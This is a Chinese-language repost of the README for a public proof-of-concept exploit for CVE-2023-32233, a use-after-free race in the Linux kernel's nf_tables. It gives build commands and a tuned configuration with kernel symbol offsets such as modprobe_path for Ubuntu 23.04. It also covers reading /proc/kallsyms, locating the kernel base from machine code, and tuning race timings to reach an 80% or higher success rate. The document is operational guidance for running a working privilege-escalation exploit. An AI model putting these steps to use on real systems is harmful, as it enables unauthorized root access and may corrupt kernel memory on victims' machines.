CVE-2023-32233: Linux内核中的安全漏洞
作者：Sec-Labs | 发布时间：
项目地址
https://github.com/Liuk3r/CVE-2023-32233
构建和配置
以下说明在Ubuntu 23.04（Lunar Lobster）下进行了测试。
安装构建依赖
运行以下命令以安装构建依赖项：
Copy codesudo apt install gcc libmnl-dev libnftnl-dev
构建二进制文件
运行以下命令以构建PoC二进制文件：
Copy codegcc -Wall -o exploit exploit.c -lmnl -lnftnl更新配置文件
内置配置文件包含特定于以二进制形式分发的Linux内核的参数，这些内核来自Ubuntu 23.04（Lunar Lobster）中的以下软件包：
- "linux-image-6.2.0-20-generic"，版本"6.2.0-20.20"
- "linux-modules-6.2.0-20-generic"，版本"6.2.0-20.20"
内置配置文件如下所示：
yamlCopy code1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
内核符号
在使用其他Linux内核进行测试时，可以选择性地覆盖内置配置文件的步骤：
bashCopy codemodprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
机器码
为了找到内核基址，我们检查内核内存中的nf_tables.ko映像。具体而言，我们分析nft_counter_destroy()子程序的机器码。这意味着我们的方法对编译器和编译选项都很敏感。然而，通过覆盖内置配置文件，可以处理所有常见情况。
例如，nft_counter_destroy()子程序的机器码可能如下所示：
yamlCopy code000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
在上述情况下，我们可以通过将以下三行追加到配置文件"profile"中来指定一些参数：
首先，重新定义free_percpu位移之前的dword的偏移量：
arduinoCopy code5 nft_counter_destroy_call_offset # hex
其中，值5是使用表达式(1e31d - 1e310) - 8计算得出的。
作为合理性检查，我们使用以下掩码验证上述偏移量处的dword：
arduinoCopy codeffffffff nft_counter_destroy_call_mask # hex
期望的值如下所示：
arduinoCopy codee9087e8b nft_counter_destroy_call_check # hex
竞争调优
利用漏洞需要在Linux内核的后台工作线程中赢得竞争。内置配置文件已经调优，以最大程度地提高在包括移动Sandy Bridge和桌面Comet Lake在内的广泛范围的Intel微处理器上赢得竞争的机会。然而，某些微处理器需要额外的调优。例如，我们观察到在某些配置下，Alder Lake存在任务切换延迟增加的情况，此时可能需要将以下行追加到"profile"中：
Copy code400 race_lead_sleep
在我们使用空闲裸机系统进行测试时，我们测量到80%或更高的概率成功利用漏洞。
测试建议
一旦在易受攻击的系统上启动了PoC，可能会使该系统处于不稳定状态，并且内核内存可能会损坏。我们强烈建议在专用系统上测试PoC，以避免潜在的数据损坏。